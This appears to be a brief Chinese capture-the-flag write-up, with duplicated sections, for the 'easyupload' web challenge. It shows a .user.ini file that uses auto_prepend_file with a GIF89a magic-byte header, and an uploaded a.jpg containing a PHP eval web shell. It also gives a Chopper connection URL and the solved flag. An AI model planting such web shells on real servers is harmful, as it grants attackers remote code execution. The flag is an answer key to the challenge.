easyupload
GFSJ1005积分 1金币 1
28最佳Writeup由 hxqz 提供WriteUP
收藏
反馈
难度:1
方向:Web
题解数:5
解出人数:1247
题目来源: CTF
题目描述:
一名合格的黑客眼中,所有的上传点都是开发者留下的后门
题目场景:
.user.ini
GIF89a
auto_prepend_file=a.jpg
a.jpg
GIF89a
<?=eval($_POST['123']);?>
http://61.147.171.105:62786/uploads/index.php
菜刀链接:
cyberpeace{959dd2c2855ab148875a18fba586e8e4}
cyberpeace{959dd2c2855ab148875a18fba586e8e4}
参考:
easyupload
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jOrGTxuM-1670505152035)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAEKADAAQAAAABAAAAEAAAAAA0VXHyAAAB+ElEQVQoFS2SuY7CQBBE8XjMYXMfu6wQIgOJCAmRkBAh/pLfICABEUAIIQEJ4hL3bQ4b9rHeDtrTdk11dbWVer2uqqqiuHw+PRwOh0KhYDDo9Xpt297tdpvNZrVaHY/Hx+Pxfr+fz6d0uVw305RSGLpxN80D5e2maZplWefz2YFy5gCRrusSelsoX98/msZZut1u0FLK1+vFJ84ej0dRFErDMOLxuOQR8gdBWBYqXvSlp9P9/hfI4E0ikYjFYslkUqL7er2CAE6GiYwG0zSRQaaP7y9Ap9Pp/wun04mx+AaaQMPlcgHNzUgkggfEZwACW8bjcSaToW61WtFoNJ/Pd7vdWq3G0Aza6/WQQGdIyZJujiFIRN56vT4cDsVisdlscoC4Wq02Gg14P/bYtlgulzDRHUQul0MYJSy8J8MqhPjghKCEUYxGI6cjDnY6nUqlwh7m83kgEKAbL1kfI0GPhGw2K5kdAuxnhul0OhwOgfb7/VKpBBGS2u02ONRjrt/vVyaTyWAwgGy/3zMMZLDSnT7odByHjnUVCoVUKiW32y0/DFohoAl7BQ2CpYGmZCp2x32QaFHL5fJisWAmAm6ggFBMiQwQBAf8JbMcOZvNnGWBwwTWREa64zU6GRoc9x1vJHOwPmTgND7we7E7LsCHTtBw84+AhgJhvzqqhewBzcvrAAAAAElFTkSuQmCC)]GFSJ1005积分 1金币 1
28最佳Writeup由 hxqz 提供WriteUP
收藏
反馈
难度:1
方向:Web
题解数:5
解出人数:1247
题目来源: CTF
题目描述:
一名合格的黑客眼中,所有的上传点都是开发者留下的后门
题目场景:
.user.ini
GIF89a
auto_prepend_file=a.jpg
a.jpg
GIF89a
<?=eval($_POST['123']);?>
http://61.147.171.105:62786/uploads/index.php
菜刀链接:
cyberpeace{959dd2c2855ab148875a18fba586e8e4}
cyberpeace{959dd2c2855ab148875a18fba586e8e4}
学习博客:
https://blog.csdn.net/m0_63127854/article/details/126633686